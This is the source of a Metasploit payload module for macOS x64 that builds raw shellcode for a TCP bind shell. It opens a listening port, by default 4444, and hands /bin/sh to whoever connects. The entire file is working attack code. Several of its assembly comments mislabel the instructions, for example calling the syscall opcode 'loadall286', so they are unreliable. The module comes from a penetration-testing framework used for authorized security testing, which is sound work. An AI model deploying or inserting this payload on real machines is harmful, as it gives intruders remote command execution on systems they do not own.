Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = 136
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Osx
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'OS X x64 Shell Bind TCP',
18
      'Description'   => 'Bind an arbitrary command to an arbitrary port',
19
      'Author'        => 'nemo <nemo[at]felinemenace.org>',
20
      'License'       => MSF_LICENSE,
21
      'Platform'      => 'osx',
22
      'Arch'          => ARCH_X64,
23
      'Handler'       => Msf::Handler::BindTcp,
24
      'Session'       => Msf::Sessions::CommandShellUnix
25
    ))
26

27
    # exec payload options
28
    register_options(
29
      [
30
        OptString.new('CMD',  [ true,  "The command string to execute", "/bin/sh" ]),
31
        Opt::LPORT(4444)
32
    ])
33
  end
34

35
  # build the shellcode payload dynamically based on the user-provided CMD
36
  def generate(_opts = {})
37
    cmd  = (datastore['CMD'] || '') + "\x00"
38
    port = [datastore['LPORT'].to_i].pack('n')
39
    call = "\xe8" + [cmd.length].pack('V')
40
    payload =
41
      "\xB8\x61\x00\x00\x02" +     # mov eax,0x2000061
42
      "\x6A\x02" +                 # push byte 0x1
43
      "\x5f" +                     # pop rdi
44
      "\x6A\x01" +                 # push byte 0x1
45
      "\x5e" +                     # pop rsi
46
      "\x48\x31\xD2" +             # xor rdx,rdx
47
      "\x0F\x05" +                 # loadall286
48
      "\x48\x89\xC7" +             # mov rdi,rax
49
      "\xB8\x68\x00\x00\x02" +     # mov eax,0x2000068
50
      "\x48\x31\xF6" +             # xor rsi,rsi
51
      "\x56" +                     # push rsi
52
      "\xBE\x00\x02" + port +      # mov esi,0xb3150200
53
      "\x56" +                     # push rsi
54
      "\x48\x89\xE6" +             # mov rsi,rsp
55
      "\x6A\x10" +                 # push 0x10
56
      "\x5A" +                     # pop rdx
57
      "\x0F\x05" +                 # loadall286
58
      "\xB8\x6A\x00\x00\x02" +     # mov eax,0x200006a
59
      "\x48\x31\xF6" +             # xor rsi,rsi
60
      "\x48\xFF\xC6" +             # inc rsi
61
      "\x49\x89\xFC" +             # mov r12,rdi
62
      "\x0F\x05" +                 # loadall286
63
      "\xB8\x1E\x00\x00\x02" +     # mov eax,0x200001e
64
      "\x4C\x89\xE7" +             # mov rdi,r12
65
      "\x48\x89\xE6" +             # mov rsi,rsp
66
      "\x48\x89\xE2" +             # mov rdx,rsp
67
      "\x48\x83\xEA\x04" +         # sub rdx,byte +0x4
68
      "\x0F\x05" +                 # loadall286
69
      "\x48\x89\xC7" +             # mov rdi,rax
70
      "\xB8\x5A\x00\x00\x02" +     # mov eax,0x200005a
71
      "\x48\x31\xF6" +             # xor rsi,rsi
72
      "\x0F\x05" +                 # loadall286
73
      "\xB8\x5A\x00\x00\x02" +     # mov eax,0x200005a
74
      "\x48\xFF\xC6" +             # inc rsi
75
      "\x0F\x05" +                 # loadall286
76
      "\x48\x31\xC0" +             # xor rax,rax
77
      "\xB8\x3B\x00\x00\x02" +     # mov eax,0x200003b
78
      call +                       # call CMD.len
79
      cmd +                        # CMD
80
      "\x48\x8b\x3c\x24" +         # mov rdi, [rsp]
81
      "\x48\x31\xD2" +             # xor rdx,rdx
82
      "\x52" +                     # push rdx
83
      "\x57" +                     # push rdi
84
      "\x48\x89\xE6" +             # mov rsi,rsp
85
      "\x0F\x05"                   # loadall286
86
  end
87
end
88

89